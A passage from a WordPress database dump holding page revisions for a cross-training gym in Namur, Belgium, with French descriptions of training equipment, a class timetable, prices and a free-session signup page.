100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-70\&quot; alt=\&quot;kb\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebel&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-72\&quot; alt=\&quot;vipr-f1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-75\&quot; alt=\&quot;ript\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-07-03 19:06:30', '2013-07-03 19:06:30', '', 22, 'http://www.crosstrainingcenter.be/?p=270', 0, 'revision', '', 0),
(271, 1, '2013-07-03 20:01:27', '2013-07-03 20:01:27', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 20:01:27', '2013-07-03 20:01:27', '', 11, 'http://www.crosstrainingcenter.be/?p=271', 0, 'revision', '', 0),
(272, 1, '2013-07-03 19:06:31', '2013-07-03 19:06:31', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-102 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-103 alignleft\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;Afin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-03 19:06:31', '2013-07-03 19:06:31', '', 5, 'http://www.crosstrainingcenter.be/?p=272', 0, 'revision', '', 0),
(273, 1, '2013-07-03 19:11:58', '2013-07-03 19:11:58', '&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Prix', '', 'inherit', 'open', 'open', '', '214-revision-8', '', '', '2013-07-03 19:11:58', '2013-07-03 19:11:58', '', 214, 'http://www.crosstrainingcenter.be/?p=273', 0, 'revision', '', 0),
(274, 1, '2013-07-03 20:43:50', '2013-07-03 20:43:50', 'Venez découvrir les bienfaits du cross training lors d\'une première séance gratuite.\r\n\r\n[contact-form-7 id=\&quot;265\&quot; title=\&quot;Seance_gratuite\&quot;]', 'Séance gratuite', '', 'inherit', 'open', 'open', '', '266-revision-2', '', '', '2013-07-03 20:43:50', '2013-07-03 20:43:50', '', 266, 'http://www.crosstrainingcenter.be/?p=274', 0, 'revision', '', 0),
(275, 1, '2013-07-04 19:32:37', '2013-07-04 19:32:37', '&lt;blockquote&gt;\n&lt;h1&gt;Envie de vous essayer au cross training?&lt;/h1&gt;\n&lt;/blockquote&gt;\nVenez nous rencontrer afin de découvrir cross training.\n\nLaissez-nous vos coordonnées et nous vous recontacterons afin de planifier avec vous votre première séance gratuite.\n&lt;h1&gt;Une séance gratuite?&lt;/h1&gt;\nEnvie de découvrir les bienfaits du cross training?\nNous vous offrons gratuitement une première séance.\nRemplissez le formulaire ci-dessous et nous vous recontacterons pour planifier, avec vous, votre première séance.\n\n[contact-form-7 id=\&quot;265\&quot; title=\&quot;Seance_gratuite\&quot;]', 'Séance gratuite', '', 'inherit', 'open', 'open', '', '266-autosave', '', '', '2013-07-04 19:32:37', '2013-07-04 19:32:37', '', 266, 'http://www.crosstrainingcenter.be/?p=275', 0, 'revision', '', 0),
(276, 1, '2013-07-03 20:45:08', '2013-07-03 20:45:08', 'Venez découvrir les bienfaits du cross training lors d\'une première séance gratuite.\r\n\r\n[contact-form-7 id=\&quot;265\&quot; title=\&quot;Seance_gratuite\&quot;]', 'Séance gratuite', '', 'inherit', 'open', 'open', '', '266-revision-3', '', '', '2013-07-03 20:45:08', '2013-07-03 20:45:08', '', 266, 'http://www.crosstrainingcenter.be/?p=276', 0, 'revision', '', 0),
(277, 1, '2013-07-03 20:48:13', '2013-07-03 20:48:13', '&lt;h1&gt;Une séance gratuite?&lt;/h1&gt;\r\nEnvie de découvrir les bienfaits du cross training?\r\nNous vous offrons gratuitement une première séance.\r\nRemplissez le formulaire ci-dessous et nous vous recontacterons pour planifier avec vous votre première séance. \r\n\r\n[contact-form-7 id=\&quot;265\&quot; title=\&quot;Seance_gratuite\&quot;]', 'Séance gratuite', '', 'inherit', 'open', 'open', '', '266-revision-4', '', '', '2013-07-03 20:48:13', '2013-07-03 20:48:13', '', 266, 'http://www.crosstrainingcenter.be/?p=277', 0, 'revision', '', 0),
(317, 1, '2013-07-04 16:35:10', '2013-07-04 16:35:10', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 